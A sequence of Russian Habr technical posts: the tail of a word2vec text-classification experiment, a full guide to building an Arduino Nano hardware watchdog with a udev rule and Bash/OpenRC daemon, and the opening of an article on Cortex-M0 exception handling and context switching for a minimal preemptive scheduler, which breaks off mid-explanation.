Например — исходная фраза — I have a dog, результат векторизации — (да, явно есть мусор) — `{'SheldenWilliams_@': 0.5255231261253357, "have't": 0.5583386421203613, 'personnaly': 0.5540199875831604, 'havent': 0.597449541091919, 'happening_Truver': 0.5273309946060181, 'Durcinka': 0.5368120670318604, 'wouldnt': 0.5314139723777771, 'whine_nag': 0.5264301300048828, "I'v": 0.532825231552124, 'dogs': 0.5436486601829529, 'i_realy': 0.5310240983963013, "'ve": 0.549283504486084, 'theyd': 0.5327804684638977, 'coz_i': 0.5257705450057983, 'love_veronica_Mars': 0.5656633973121643, 'LOVE_YOU_ALL': 0.5473299622535706, 'JeremyShockey_@': 0.5405183434486389, 'i_havnt': 0.5311092138290405, 've': 0.5290054678916931, 'Reputable_breeders': 0.5303832292556763, 'samantharonson_@': 0.542853593826294, 'hadnt': 0.5852461457252502, 'Er_um': 0.5257833003997803, 'couldve': 0.529604434967041, 'that.I': 0.5449035167694092, 'ive': 0.5347827672958374, "were'nt": 0.5263391733169556, 'i_havent': 0.545918345451355, "havn't": 0.6071761846542358, 'wouldve': 0.556045651435852}`.
Для I have a computer — `{'psn': 0.5582104325294495, '•_vaibhav_sir': 0.5425109267234802, 'theyve': 0.5318623781204224, 'love_veronica_Mars': 0.564369261264801, 'receive_MacMall_Exclusive': 0.5217918157577515, 'havnt': 0.517998456954956, 'gfx_card': 0.5196627378463745, 'macbook_pro': 0.5703814029693604, 'droid_x': 0.5607396364212036, 'dell_laptop': 0.5578193664550781, "'ve": 0.5209441184997559, 'Arrendondo_cook': 0.5448468923568726, "I'v": 0.5355654358863831, 'lenovo': 0.5266544222831726, 'reinstall_XP': 0.537743091583252, 'wifi_adapter': 0.5497201085090637, 'havent': 0.5768314003944397, 'LOVE_YOU_ALL': 0.5329291820526123, 'haha_i': 0.5369561314582825, 'computers': 0.5202767252922058, 'automaticly': 0.523144543170929, 'hadnt': 0.5282260775566101, 'ive': 0.5156651735305786, 'google_docs': 0.5261930227279663, 'google_chrome': 0.5319492816925049, 'i_havent': 0.5323601961135864, "havn't": 0.593987226486206, 'mainframes_minicomputers': 0.5255732536315918, 'Ive': 0.518458902835846, 'cect_u##_china': 0.5316625237464905}`
для классификации применяется следующий алгоритм:
* перед векторизацией из набора слов (как примеров, так и пользовательского ввода) отрезаются слишком общеупотребительные
* векторизация предусмотренных примеров (в вектора example\_i)
* на основании полученных в прошлом шаге координат — рассчитывается центр соответствующего классу кластера 
* векторизуется пользовательский ввод
* получаем записи вида [(class\_name, length(input\_vector — class\_center)]
полученный массив сортируется по расстоянию между центром кластера и пользовательским вводом (таким образом — первым оказывается класс, ближайший к вектору пользовательского ввода)
При тестировании с такими данными:
Классы — `{
'computer': ['I have a computer', 'You have a laptop'],
'dog': ['I have a dog', 'Have you a dog?']
}`
Ввод — 'Do you had a dog?'
Получается следующий список: `dog 3.204362832876183 0
computer 3.577504792988848 0`
Т.е. удается определить, что введенное ближе к классу dog, чем к computer.
P.S. про работу с русским языком — это я к тому, что технически — не проблема собрать модель word2vec, работающую с ним. Вообще, даже нашлось несколько — но показались мне мелковатыми (хотя, возможно — подходящими для практического применения) | https://habr.com/ru/post/304672/ | null | ru | null |
# Watchdog на базе Arduino Nano
*Watchdog — это устройство, предназначенное для обнаружения и устранения проблем оборудования. Обычно для этого используется таймер, периодический перезапуск которого предотвращает отправку сигнала на перезагрузку.*
Целевой сервер на Gentoo используется мной в основном для экспериментов, однако на нём работает ряд сервисов, которые, по возможности, должны быть доступны без перебоев. К сожалению, последствия некоторых экспериментов приводят к kernel panic, 100% загрузке CPU и другим неприятностям в самый не подходящий момент. Так что идея добавить watchdog давно требовала внимания и наконец материализовалась в данное устройство.
После пристального осмотра того, что было в наличии и оценки доступного времени, оптимальным вариантом стал watchdog собранный на базе Arduino Nano. Примерно также появился и список требований:
1. Запуск и останов демона, для работы с таймером, штатным средством ОС (OpenRC).
2. Собственный watchdog на устройстве, в ATmega он есть, нужно использовать.
3. Лог событий на устройстве для фиксации перезагрузки и срабатывания таймера.
4. Синхронизация времени устройства с хостом для записи в лог корректного времени.
5. Получение и отображение статуса устройства и записей его лога.
6. Очистка лога и сброс устройства в исходное состояние.
Таким образом, «микроскоп» был найден, «гвоздь» обозначен… можно забивать.
Аппаратная часть
----------------
Основой устройства стал китайский клон Arduino Nano, выполненный на базе чипа CH340. Свежие Linux ядра (проверял начиная с 3.16) имеют подходящий драйвер, так что устройство легко обнаруживается как USB последовательный порт.
### Нежелательная перезагрузка Arduino
При каждом подключение терминала, Arduino перезагружается. Причина в отправке терминалом сигнала DTR (Data Terminal Ready), который вызывает перезагрузку устройства. Таким образом Arduino IDE переводит устройсво в режим для загрузки скетчей.
Существует несколько вариантов решения проблемы, но рабочим оказался только один — необходимо установить электролит 10µF (C1 на схеме ниже) между контактами RST и GND. К сожалению, это также блокирует загрузку скетчей на устройство.
Как итог — схема получилась следующий:
*Нарисовано с помощью KiCad*
**Пояснения к схеме*** **R1** — резистор для ограничения тока, рассчитывается согласно спецификации на оптопару PC817: (5V — 1.2V / 0.02A) = 190Ω, ближайшей стандартный номинал 180Ω.
* **U2** — оптопара для гальванической развязки Arduino и PC. Можно обойтись и транзистором, так как земля общая (через USB разъем), но лучше не нужно.
* **JP1** — джампер, в рабочем положении должен быть замкнут. Для загрузки скетча на устройство его необходимо разомкнуть.
* **С1** — конденсатор, блокирует перезагрузку устройства в ответ на сигнал DTR.
* **MB\_RST**, **MB\_GND** — RESET активен при низком уровне сигнала, соответственно нужно замкнуть RST на землю (GND). В оптопаре используется транзистор, следовательно важно соблюсти полярность.
* **BTN\_RST**, **BTN\_GND** — кнопка на корпусе, обычно это механический переключатель, следовательно, полярность не важна, но бывают исключения.
### Boot-loop (циклическая перезагрузка) при работе с WDT
Микроконтроллеры ATmega имеют встроенный механизм перезагрузки по таймеру WDT (WatchDog Timer). Однако все попытки использовать данную функцию приводили к boot-loop, выйти из которого можно было только отключив питание.
Не долгие поиски выявили, что загрузчики большинства клонов Arduino не поддерживают WDT. К счастью, данная проблема была решена в альтернативном загрузчике [Optiboot](https://github.com/Optiboot/optiboot).
Для того, чтобы прошить загрузчик, необходим программатор умеющий работать по протоколу SPI, также желательно, чтобы Arduino IDE знала это устройство «в лицо». В данном случае идеально подойдёт ещё одна Arduino.
Если взять Arduino UNO, в качестве программатора, и последнию на данный момент версию Arduino IDE v1.6.5, то алгоритм будет следующий:
1. Добавить содержимое файла **boards-1.6.txt** из пакета optiboot в конец файла **hardware/arduino/avr/boards.txt** в директории с Arduino IDE.
2. В Arduino Uno, загрузить скетч из **File → Examples → ArduinoISP**.
3. Соединить программатор с целевой Arduino Nano следующим образом:
| Arduino Uno (программатор) | Arduino Nano (ICSP разъём) |
| --- | --- |
|
| |
| --- |
| **5V** → Vcc |
| **GND** → GND |
| **D11** → MOSI |
| **D12** → MISO |
| **D13** → SCK |
| **D10** → Reset |
|
| | |
| --- | --- |
| **Pin1** (MISO) ← D12 | **Pin2** (Vcc) ← 5V |
| **Pin3** (SCK) ← D13 | **Pin4** (MOSI) ← D11 |
| **Pin5** (Reset) ← D10 | **Pin6** (GND) ← GND |
|
**На фото это выглядит так**
4. В Arduino IDE в меню Tools установить настройки как на скриншоте:
5. Выбрать пункт меню Tools → Burn Bootloader и убедиться, что процесс завершился без ошибок.
После этой процедуры, загружать скетчи в Arduino Nano нужно будет выбирая те-же настройки — **Board**: Optiboot on 32 pin cpus, **Processor**: ATmega328p, **CPU Speed**: 16MHz.
Пайка
-----
Далее необходимо всё спаять, так чтобы выглядело одним куском.
Здесь USB штекер понадобился из-за того, что у меня mini-ITX мат.плата только с одним разъем на пару USB2.0, которые нужны на передней панели, а к контактной площадке USB3.0 нечем было подключиться. По возможности такие устройства нужно подключать прямо к мат.плате, чтобы провода наружу не торчали.
Пайка, как правило, проблем не вызывает, но в данном случае используется макетная плата, и тут есть своя специфика.
**Как паять дорожки на макетной плате**Сначала необходимо напаять шарики на отверстия (долго греть нельзя, иначе олово вытечет с обратной стороны). Затем напаять перемычки между парами соседних шариков и закончить дорожку спаяв оставшиеся сегменты.
Выглядеть должно примерно так:
Результат:
Здесь может показаться, что некоторые контакты плохо пропаяны, но это всего лишь флюс. Расход припоя на макетных платах достаточно большой, поэтому флюсом тут заляпано всё, что только можно. На самом деле, это хороший пример как не нужно оставлять изделие после пайки. Флюс необходимо смыть, иначе могут быть проблемы с коррозией соединений. Допишу и пойду отмывать… Вот так лучше:
Программная часть
-----------------
Объективно говоря, код этого проекта особого интереса не представляет. Вводные далеко не экстремальные, а архитектура описывается одной фразой: отправить команду — подождать ответ. Для порядка опишу здесь основной функционал и кратко остановлюсь на самых интересных моментах, с моей точки зрения.
Весь код опубликован на GitHub, так-что если вы знакомы с Bash и С/C++ (в контексте Arduino скетчей), чтение на этом месте можно закончить. При наличии интереса, с готовым результатом можно ознакомиться [здесь](https://github.com/alexcustos/ttyrst-watchdog).
### Подключение watchdog
При подключении watchdog создается файл устройства, содержащий порядковый номер. Если в системе есть другие ttyUSB устройства (в моём случае — модем), то возникает проблема с нумерацией. Чтобы однозначно идентифицировать устройство, необходимо создать симлинк с уникальным именем. Для этого предназначен udev, который наверняка уже есть в системе.
Для начала нужно визуально найти подключённый watchdog, например, подсмотрев в системный лог файл. Затем, заменив /dev/ttyUSB0 на нужное устройство, написать в терминале:
```
udevadm info -a -p "$(udevadm info -q path -n /dev/ttyUSB0)"
```
**Пример вывода**
```
looking at device '/devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1.4/1-1.4:1.0/ttyUSB0/tty/ttyUSB0':
KERNEL=="ttyUSB0"
SUBSYSTEM=="tty"
...
looking at parent device '/devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1.4/1-1.4:1.0/ttyUSB0':
KERNELS=="ttyUSB0"
SUBSYSTEMS=="usb-serial"
DRIVERS=="ch341-uart"
...
looking at parent device '/devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1.4/1-1.4:1.0':
...
looking at parent device '/devices/pci0000:00/0000:00:14.0/usb1/1-1/1-1.4':
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{idVendor}=="1a86"
ATTRS{idProduct}=="7523"
ATTRS{product}=="USB2.0-Serial"
...
```
В данном случае, правило будет иметь следующий вид:
```
ACTION=="add", KERNEL=="ttyUSB[0-9]*", SUBSYSTEM=="tty", SUBSYSTEMS=="usb", ATTRS{idVendor}=="1a86", ATTRS{idProduct}=="7523", SYMLINK+="ttyrst-watchdog"
```
Разместить его нужно в отдельном файле в директории /etc/udev/rules.d, например 51-ttyrst-watchdog.rules и скомандовать udev перезагрузить правила:
```
udevadm control --reload-rules
```
С этого момента, при подключении watchdog будет создаваться ссылка /dev/ttyrst-watchdog на нужное устройство, которая и будет использоваться далее.
### Bash скрипт (ttyrst-watchdog.sh)
Общение с watchdog производится на скорости 9600 бод. Arduino без проблем работает с терминалами на больших скоростях, но команды для работы с текстом (cat, echo и т.п.), получают и отправляют только мусор. Не исключено, что это особенность только моего экземпляра Arduino Nano.
Для основного цикла перезапуска таймера и для функций командной строки, используется один скрипт. Причина в том, что оба компонента используют общий ресурс — файл устройства, и к нему необходимо обеспечить синхронный доступ.
Синхронизация по сути состоит цикла ожидания:
```
while fuser ${DEVICE} >/dev/null 2>&1; do true; done
```
и захвата устройства на необходимое время:
```
cat <${DEVICE}
```
Очевидно, такая схема подвержена состоянию гонки (race condition). Бороться с этим можно по взрослому (например, организовать очередь сообщений), но в данном случае, достаточно грамотно расставить таймауты, чтобы гарантированно получать результат за приемлемое время. По сути весь скрипт и есть работа с таймаутами.
Демонизация (запуск в фоновом режиме) производится средствами пакета OpenRC. Предполагается, что данный скрипт находится в файле /usr/local/bin/ttyrst-watchdog.sh, а OpenRC скрипт в /etc/init.d/ttyrst-watchdog.
При остановке демона требуется корректная дезактивации watchdog. Для этого в скрипте устанавливается обработчик сигналов, требующих завершение работы:
```
trap deactivate SIGINT SIGTERM
```
И тут всплывает проблема — OpenRC не может остановить демон, точнее может, но не часто.
Дело в том, что команда kill, отправляет сигнал скрипту, а программа sleep, которая используется для приостановки работы скрипта, выполняется в другом процессе и сигнал не получает. В результате функция deactivate запускается только после завершения работы sleep, а это слишком долго.
Решение заключается в том, чтобы запустить sleep в фоне и ждать завершения процесса в скрипте:
```
sleep ${SLEEP_TIME} & wait $! # переменная $! содержит ID последнего запущенного процесса
```
Основные константы:
**WATCHDOG\_ACTIVE** — YES или NO, соответственно, отправлять сигнал на перезагрузку при срабатывании таймера или нет.
**WATCHDOG\_TIMER** — время в секундах на которое устанавливается таймер.
**SLEEP\_TIME** — время в секундах через которое необходимо перезапускать таймер. Должно быть много меньше, чем WATCHDOG\_TIMER, но не сильно маленькое, что бы не создавать чрезмерную нагрузку на систему и устройство. При текущих таймаутах разумный минимум — примерно 5 секунд.
**DEFAULT\_LOG\_LINES** — число последних записей лога устройства, возвращаемых командой log по умолчанию.
Команды скрипта:
**start** — запуск основного цикла перезапуска таймера. В функцию is\_alive можно добавить код дополнительных проверок, например проверить возможность подключения по ssh.
**status** — вывод статуса устройства.
**reset** — обнуление EEPROM (данных лога) и перезагрузка устройства для приведения watchdog в исходное состояние.
**log <число записей>** — вывод заданного числа последних записей лога.
### Arduino скетч (ttyrst-watchdog.ino)
Для успешной компиляции скетча потребуется сторонняя библиотека [Time](https://github.com/PaulStoffregen/Time), необходимая для синхронизации времени.
Скетч состоит из двух файлов. Это связанно с тем, что Arduino IDE не воспринимает структуры (struct) объявленные в основном файле, их необходимо выносить во внешней файл заголовков. Также для объявления структуры не обязательно ключевое слово typedef, вероятно даже вредно… проверив стандартные варианты, подобрать подходящий синтаксис у меня не получилось. В остальном это более или менее стандартный C++.
Функции wdt\_enable и wdt\_reset работают со встроенным в микроконтроллер watchdog. После инициализации WDT главное не забывать сбрасывать его в основном цикле и внутри циклов всех длительных операций.
Записи лога пишутся в энергонезависимую память EEPROM, доступный её размер можно указать в logrecord.h, в данном случае это число 1024. Лог выполнен в виде кольца, разделителем служит структура с нулевыми значениями. Максимальное число записей для 1 KiB EEPROM — 203.
Запись о загрузке устройства попадает в лог только после синхронизации времени. Синхронизация производится одновременно с перезапуском таймера и перед выполнением любой команды во время инициализации устройства. По другому сопоставить корректное время данному событию не получится, да и информация о перезагрузках устройства, в отрыве от работающего демона, не сильно интересна.
На этом всё, спасибо за внимание!
Исходные файлы проекта расположены на [GitHub](https://github.com/alexcustos/ttyrst-watchdog) | https://habr.com/ru/post/384467/ | null | ru | null |
# Переключение контекста и простой вытесняющий планировщик для CortexM
С каждым годом курсовые для моих студентов становятся все объемнее. Например, в этом году одним из заданий была разработка метеостанции, ведь только ленивый не делает метеостанции, а студенты они по определению не ленивые, поэтому должны её сделать. Её можно быстро накидать в Cube или собрать на Ардуино, но задача курсового не в этом. Основная задача — самостоятельно, с нуля разобраться с модулями микроконтроллера, продумать архитектуру ПО и, собственно, закодировать все на С++, начиная от регистров и заканчивая задачами РТОС. Кому интересно, здесь [пример отчета по такому курсовому](https://yadi.sk/i/YIC26s2Hiuey_A "Творчество студентов")
Так вот, появилась небольшая проблема, а именно, бесплатный IAR позволяет делать ПО размером не более 30 кБайт. А это уже впритык к размеру курсового в неоптимизированном виде. Анализ кода студентов выявил, что примерно 1/4 часть их приложения занимает FreeRtos — около 6 кБайт, хотя для того, чтобы сделать вытесняющую переключалку и управлялку задачами хватило бы, наверное… да байт 500 причем вместе с 3 задачами (светодиодными моргунчиками).
Эта статья будет посвящена тому, как можно реализовать Очень Простой Планировщик(он же SST), описанный в [статье аж 2006 года](https://www.embedded.com/build-a-super-simple-tasker/) и сейчас поддерживаемый [Quantum Leaps](http://www.state-machine.com/products/) в продукте [Qp framework](http://www.state-machine.com/qpcpp/).
С помощью этого ядра очень просто реализовать конечный автомат, и оно очень хорошо может использоваться в небольших проектах студентами (и не только), которые могут получить дополнительно 5 кБайт в свое распоряжение.
Я попробую показать как можно реализовать такой планировщик самому. Чтобы не сильно перегружать статью, рассмотрю переключение контекста на CortexM0 у которого нет аппаратного модуля с плавающей точкой.
Все кто заинтересовался и хочет понять как можно переключать контекст, добро пожаловать под кат.
Небольшое отступление
---------------------
Изначально я хотел описать, как работает планировщик в "нормальных" РТОС и потом уже описать, как он сделан в Простом Планировщике и показать пример такого планировщика на ядре CortexM4, но статья получалась довольно большой и непонятной, поэтому я решил её упросить (не уверен, что она стала понятнее, но точно меньше, хотя все равно большой). Поэтому я ввел небольшие ограничения и начальные условия:
* Рассматриваем ядро CortexM0, ну или микроконтроллеры с ARM архитектурой, поддерживающие только
+ Thumb набор команд
+ Имеющие только привилегированный режим
+ Не имеющие аппаратного блока с плавающей точкой
* Используем только основной стек *MSP*
* Считаем, что микроконтроллер имеет как минимум двухстадийный конвейер
* Не используем указатели
* Не используем виртуальные функции (абстрактных классов), только статический полиморфизм
И хотя такой планировщик в принципе можно запустить и на CortexM3 и даже на CortexM4 (с отключенным *FPU* блоком), для нормальной их поддержки, нужно будет внести небольшие изменения в обработчике *PendSV* и *SVC* исключений.
В общем делать его мы будем по-модному, на С++17, без указателей, интерфейсов, создания задач в рантайме и прочей "ерунды", а полагаться только на соmpile-time, чтобы всё-всё было определено, а по возможности проверено на этапе компиляции.
Введение
--------
Собственно, в качестве введения наверное лучше всего подойдет цитата из выше указанной статьи 2006 года
> Большую часть времени встроенные системы ждут какого-то события, такого как тик времени, нажатие кнопки, готовности АЦП или получения пакета данных. После распознавания события системы реагируют, выполняя соответствующие вычисления. Эта реакция может включать в себя работу с аппаратными модулями или создание вторичных событий бизнес логики, которые запускают другие внутренние функции. После завершения действия по обработке событий такие системы переходят в спящее состояние в ожидании следующего события.
>
> Большинство RTOS для встроенных систем вынуждают программистов моделировать эти простые, дискретные реакции на события, используя задачи, разработанные как непрерывные бесконечные циклы.
По большому счету, вся программа — это один большой или небольшой конечный автомат. И наши старшие братья в мире ПО под "еще более нормальные" операционные системы давно уже имеют кучу механизмов для реализации конечных автоматов — потоки, корутины, фиберы — тому подтверждение.
В ПО же для микроконтроллеров каждый раз приходится либо использовать совсем неоптимальные вещи обычных операционных систем реального времени (передача событий от задачи к задаче, со всеми вытекающими (долгие переключения контекста, создание новых задач с большими стеками)), либо городить что-то свое, либо по старинке пользоваться обычным switchом.
В случае же с SST ядро и планировщик очень просты и ему не нужно управлять несколькими стеками. И основное отличие этого ядра является то, что оно требует чтобы все задачи выполнялись до завершения (Run to completion), используя один стек.
А это кстати решает одну из "вечных" возможных проблем с бесконечным циклом, ведь бесконечный цикл в С++ это вообще-то Undefined/Unspecified Behaviour (UB).
Спасибо [Dubovik\_a](https://habr.com/ru/users/dubovik_a/) за уточнение: не все бесконечные циклы UB, в соответствии со стандартом, если внутри цикла есть одно из нижесказанного, то это уже не UB
> The implementation may assume that any thread will eventually do one of the following:
>
> * terminate,
> * make a call to a library I/O function,
> * access or modify a volatile object, or
> * perform a synchronization operation or an atomic operation
>
>
>
>
Но в любом случае, нет таких циклов — нет UB, а заодно сделаем наш планировщик без единого указателя, чтобы, еще меньше UB проникли в код (не уверен, что код на С++ можно вообще написать без UB, но вдруг).
Перед тем как начинать статью, я хотел вначале найти простое объяснение, как переключить контекст на CortexM в интернете на русском языке, из более менее понятного и простого, нашел вот [эту статью](https://www.kit-e.ru/assets/files/pdf/2013_04_168.pdf). Но я не уверен, что без дополнительного заглядывания в руководство по ядру CortexM3 из этого текста можно сразу все понять.
Есть еще статья на Хабре: [Как сделать context switch на STM32](https://habr.com/ru/company/embox/blog/330236/).
Но даже если вы и прочитали эти статьи, все равно все выглядит как рисование совы.
Поэтому давайте вначале разберемся с алгоритмом переключения контекста, как это вообще происходит. И первым делом займемся изучением некоторых необходимых для создания планировщика понятий.
Команды CortexM микроконтроллеров
---------------------------------
У CortexM бывает три набора команд:
* *ARM* — Основной 32 битный набор команд.
* *Thumb* — Сокращённая система 16 битных команд.
* *Thumb-2* — 16 битный *Thumb* набор + немного 32 битных команд, эдакая смесь *ARM* и *Thumb*, чтобы получить преимущества обоих систем команд.
Так вот наш CortexM0 поддерживает только *Thumb* набор, ну не считая парочки команд из *Thumb-2*, но закроем на это глаза.
На всякий случай, CortexM3 поддерживает *Thumb-2* полностью.
Режимы работы процессора
------------------------
Cortex-M имеет два режима работы: режим процесса (*Thread*) и режим обработчика (*Handle*):
* Режим *Handle* используется при обработке исключений(все обработчики прерываний работают в этом режиме, хотя прерывания — это лишь подмножество исключений) и работает только с основным *MSP* стеком
* Режим *Thread* используется для выполнения пользовательского кода и может работать с основным стеком(*MSP*) или стеком процесса (*PSP*)
Переключение из одного режима в другой происходит автоматически в момент входа или выхода из исключения.
Про стеки узнаем немного позже, а пока это вся информация по режимам, которую нужно знать для переключения контекста. И да, мы будет использовать только основной стек *MSP*.
CortexM0 регистры
-----------------
CortexM0 имеет 16 регистров общего назначения:
* Младшие регистры (r0-r7)
+ Старшие регистры (r8-r12)
+ Регистр указателя стека *SP* (r13) для текущего контекста (r8-r12)В зависимости от контекста может быть либо *MSP* (указателем основного стека) либо *PSP* ( указателем стека процесса). Но мы же не заморачиваемся, используем только *MSP*.
* Регистр связи *LR* (r14)
* Регистр счетчика команд *PC*(r15)
И ряд регистров специального назначения:
* Регистр состояния *xPSR*, он содержит в себе флаги результатов выполнения арифметических действий, состояние выполнение программы и номер обрабатываемого в данный момент исключения. Доступ к полям регистра может осуществляться через три псевдорегистра, позволяющие обращаться к определенным областям *xPSR*:
+ Регистр состояния приложения *APSR* содержит флаги результатов выполнения арифметических операций
+ Регистр состояния прерывания *EPSR* содержит номер обрабатываемого исключения
+ Регистр состояния выполнения *IPSR* содержит бит показывающий в каком режиме исполняются команды микроконтроллера *Thumb* или *ARM*, а так как, мы выяснили, что
CortexM0 может работать только в *Thumb* режиме, то этот бит всегда должен быть равен *1*, иначе микроконтроллер допустит недопустимое.
* Регистр *PRIMASK*, в нем всего один бит, запрещающий все прерывания с конфигурируемым приоритетом
* Регистр *CONTROL*, управляющий выбором режима (Привилегированный или нет(Это еще что такое? Да сколько этих режимов?, не волнуйтесь, для CortexM0 режим всегда привилегированный, поэтому просто не обращайте на это внимание)) и выбором стека (основной *MSP* или стек процесса *PSP*)
Регистр указателя стека (r13/SP)
--------------------------------
Я не буду подробно описывать что такое стек, есть множество статей на эту тему. Но для того, чтобы понять как он работает на CortexM архитектуре необходимо знать несколько моментов.
* Указатель стека всегда выравнен по слову и его два младшие бита должны быть равны 0.
* Стек всегда двигается от старших адресов к младшим.
* Указатель стека используется для доступа к стеку с помощью инструкций *POP* и *PUSH*.
* Указатель стека может быть модифицирован с помощью инструкций *LDR*, *STR*, *SUB*, *ADD* и так далее
* Имеет двойное назначение и может являться:
+ *MSP*(Main Stack Pointer) — указателем на основной стек,
+ *PSP* (Program Stack Pointer) — указателем на стек процесс PSP.
И хотя в нашей задаче нам не нужен стек процесса, для общего образования все таки уточню, что в каждый момент доступен только один из этих указателей. В режиме *Handle* указатель *SP* всегда указывает на *MSP*, а вот в режиме *Thread* указатель может указывать как на основной стек *MSP*, так и на стек процесса *PSP*. Какой именно сейчас стек используется, можно определить с помощью CONTROL регистра.
Выходя из режима *Handle* можно поменять стек указав волшебное значение при возврате из исключения или в регистре связи. Встречаем регистр связи.
Регистр связи (r14/LR)
----------------------
У регистра связи две функции. Одна прямая — хранение адреса возврата:
* Регистр связи используется для хранения адреса возврата из подпрограмм и функций, вызванных командой *BL*.
И вторая не менее важная:
* Во время входа и возврата из исключения в *LR* сохраняется *EXC\_RETURN* код, который указывает какой режим и какой стек нужно использовать после возврата из исключения.
| EXC\_RETURN | Что значит |
| --- | --- |
| 0xFFFFFFF1 | Возвращаемся в *Handle* режим, используем основной стек *MSP* |
| 0xFFFFFFF9 | Возвращаемся в *Thread* режим, используем основной стек *MSP* |
| 0xFFFFFFFD | Возвращаемся в *Thread* режим, используем стек процесса *PSP* |
Исключение
----------
Исключение в ARM, это такой механизм, который позволяет прервать безмятежное течение программы. Исключение может быть вызвано программно с помощью инструкции вызова исключения или же вызвано в ответ на поведение системы, такое как прерывание, ошибка выравнивания или ошибка системы памяти.
Исключения бывают синхронные и асинхронные. Прерывания являются асинхронными исключениями. А вот например, ошибки связанные с доступом к памяти или выполнения инструкций — синхронные исключения.
И в целом разделяют две основные стадии исключения:
* Генерация исключения
Момент, когда в микроконтроллере происходит некое важное событие, которое связано с исключением
* Обработка или активация исключения
Это когда микроконтроллер начинает выполнять определенную последовательность для входа в исключение, потом выполняет код обработчика исключения и в конце последовательность выхода из исключения. И в общем-то переход от состояния генерации исключения до состояния обработка исключения может быть мгновенным.
А теперь давайте поймем как происходит вход и выход из исключения, но для полноты картины прежде, посмотрим на кадр исключения.
### Кадр исключения
Кадр исключения (Exception Frame). Так вот, это набор регистров, которые автоматически сохраняются при входе в исключение и восстанавливается из него при выходе из исключения. Кадр выглядит так:
 В кадре исключения сохраняются регистры R0-R3, R12 и LR, PC, xPSR.
Остальные регистры R4-R11 не могут использоваться (в соответствии с C/C++ standard Procedure Call Standard for the ARM Architecture) в обработчике исключения и поэтому не входят в данный кадр.
### Вход в Исключение
Это важный момент для понимания того, что происходит во время вхождения и выхода из прерывания.
Вход в прерывание возникает тогда, когда появляется ожидающее исключение с необходимым приоритетом и:
* Микроконтроллер находится в *Thread* режиме
* Исключение имеет приоритет выше, чем обрабатывающееся в данный момент исключение. В таком случае исключение с высшим приоритетом вытесняет текущее исключение, по другому это называется вложенными исключениями.
Когда микроконтроллер начинает обработку исключения он сохраняет кадр исключения в стеке. Эта операция по английски называется "stacking". По русски звучит странно, поэтому не буду переводить. При этом указатель стека перемещается на размер кадра исключения.
Как было уже сказано выше, стек исключения содержит кадр из 8 слов данных и подчиняется простым правилам.
* Стек выравнен по 8 байтовому адресу (двум словам).
* Стек содержит адрес возврата из исключения — адрес следующей инструкции в прерванной исключением подпрограмме. Это значение восстанавливается и загружается в PC во время возврата из исключения.
Микроконтроллер, а точнее контроллер прерывания считывает стартовый адрес обработчика исключения из таблицы векторов прерываний и когда "stacking" завершен, запускает выполнение обработчика этого прерывания. В то же время микроконтроллер записывает специальный код возврата — *EXC\_RETURN* в регистр *LR*, как мы уже выяснили этот код показывает тип указателя стека (*MSP* или *PSP*) и в каком режиме был микроконтроллер до входа в исключение.
Если во время входа в исключение не произошло более высоко-приоритетного прерывания, процессор запускает выполнение обработчика исключения. Микроконтроллер автоматически изменяет статус исключения на активное.
Если более высокоприоритетное исключение произошло во время входа в исключение, то статус текущего исключения будет "ожидание". Так называемое "позднее прибытие".
В общем-то и все, исключение обработали, теперь надо из него выйти.
### Возврат из исключения
Возврат из исключения происходит когда микроконтроллер находится в *Handle* режиме и выполняется одна и следующих инструкций, пытающихся установить *PC* в специальное *EXC\_RETURN* значение :
* *POP* инструкция которая загружает значение из стека в *PC*.
* *BX* инструкция, использующая любой регистр
Микроконтроллер сохраняет значение EXC\_RETURN в *LR* при входе в исключение
Механизм исключений полагается на это значение, чтобы определить когда микроконтроллер завершит обработку исключения.
**Биты[31:4]**
* *EXC\_RETURN* значения должны быть установлены в 0xFFFFFFF. Когда микроконтроллер загружает эти биты в *PC*, это дает понять ядру, что операция не является обычной, а означает завершение обработки прерывания. Как результат такого "оповещения" запускается последовательность возврата из исключения.
**Биты[3:0]**
* *EXC\_RETURN* значения указывают на требуемый стек возврата и режим процессора.
При возврате из исключения происходит обратная операция — unstacking, еще более странно переводящаяся на русский язык. При этом микроконтроллер загружает в *PC* адрес следующей инструкции из кадра исключения, и собственно переходит на её исполнение.
Я тут попытался нарисовать залипающую картинку, получилось не очень, но не пропадать же 2-часову труду зря.
**Залипающая картинка**
Но я люблю статику, поэтому вот обычная картинка:
Переключение контекста
----------------------
Наконец-то вся теория изучена, остались мелочи, собственно сделать переключение контекста и вытесняющую многозадачность.
**Все таки сделаю небольшое отступление:**
В "нормальных" RTOS, идея работы с задачами состоит в том, чтобы *PSP* стек использовался отдельными задачами, а *MSP* стек использовался обработчиками исключений и ядром. Когда возникает исключение, контекст задачи помещается в текущий активный указатель стека *PSP*, а затем переключается на использование *MSP* для обработки исключения.
С одной стороны это хорошо — это подразумевает некое разделение между стеками обработчика исключений и задач, ваша задача всегда работает со стеком *PSP* и доступа к *MSP* нет.
С другой стороны, переключение контекста не такое быстрое, а из-за того, что каждая задача имеет свой стек, который обычно делают с запасом, возможен непреднамеренный расход ОЗУ.
Итак, контекст у нас должен переключаться по какому-то событию. Пусть это будет любое событие происходящее в прерывании, например, по таймеру, или приходу символа в UART, или любому другому, которое должно инициировать обработку чего-то. Как только произошло такое событие мы должны запустить планировщик, который найдет подходящую задачу и запустит её, при этом вытеснив уже запущенные менее приоритетные.
Логично, что такие события могут происходить из прерываний, т.е в режиме *Handle*, а вот планировщик и задачи должны быть запущены в режиме *Thread*. Как это сделать?
Каждый раз при выходе из любого прерывания в котором генерируется событие для переключения контекста мы будем генерировать исключение *PendSV*, и уже в нем делать магию по переключению контекста: в упрощенном виде это будет выглядеть примерно так:
```
static void OnTimerExpired()
{
// Послать событие нужно задаче, в данном примере targerThread
Tasker::PostEvent(eventsToPost) ;
// Вызвать исключение PendSV для запуска планировщика и вытеснения текущей задачи
Tasker::IsrExit() ;
}
.....// Tasker::IsrExit()
static void IsrExit()
{
// Генерируем исключение PendSV
SCB::ICSR::PENDSVSET::PendingState::Set();
}
```
Т.е. вместо того, чтобы в прерывании вызывать планировщик, мы сгенерируем исключение *PendSV* и уже при выходе из него запустим планировщик, который будет заниматься переключением задач.
Сразу же после выхода из прерывания, сгенерировавшего событие для какой-либо задачи, мы попадем в *PendSV* исключение, в котором должны:
* Скинуть флаг генерации исключения PendSV
* Запретить все прерывания
* Вызвать планировщик
